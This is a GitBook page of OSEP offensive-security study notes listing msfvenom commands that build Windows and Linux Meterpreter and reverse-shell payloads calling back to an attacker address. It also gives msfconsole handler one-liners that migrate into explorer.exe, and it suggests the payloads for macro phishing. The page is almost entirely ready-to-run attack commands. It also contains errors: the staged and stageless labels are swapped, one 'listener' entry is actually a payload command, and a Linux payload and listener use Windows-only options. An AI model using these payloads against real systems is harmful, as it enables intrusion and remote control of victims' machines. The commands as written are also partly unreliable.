OSEP Notes
  • Introduction
  • Useful Links, Tools & Tricks
  • OSEP
    • Metasploit Payload & Listener
      • Metasploit Useful Modules
      • Encoder
    • File Transfer & Execution
    • Phishing
    • Local Reconnaissance Windows
      • SQL Server Instance
      • Application Whitelisting & Credentials
    • Local Reconnaissance Linux
      • Ansible
    • Privilege Escalation
    • Pivoting
    • Pass the Hash
      • Remote Access
    • Post Exploitation
      • Add User
      • AMSI, CLM, & App Locker
    • Credentials
    • Lateral Movement
  • Active Directory
    • Domain Reconnaissance on Kali
    • Domain Reconnaissance on Windows
    • Active Directory Forest
Powered by GitBook
On this page
  • Payloads
  • Listeners
  1. OSEP

Metasploit Payload & Listener

Payloads

Windows - Staged

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1

For macros phishing use a stageless 32-bit payload

Windows - Stageless

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1

Windows - Reverse TCP

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1

Linux - Reverse TCP

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1

Listeners

Windows - Staged

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.1.2; set LPORT 443; set AutoRunScript migrate -n explorer.exe; exploit"

For macros phishing use a stageless 32-bit listener

Windows - Stageless

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_https; set LHOST 192.168.1.2; set LPORT 443; set AutoRunScript migrate -n explorer.exe; exploit"

Windows - Reverse TCP

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=8080 EXITFUNC=thread -f ps1

Linux - Reverse TCP

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 443; set AutoRunScript migrate -n explorer.exe; exploit"
PreviousUseful Links, Tools & TricksNextMetasploit Useful Modules

Last updated 1 year ago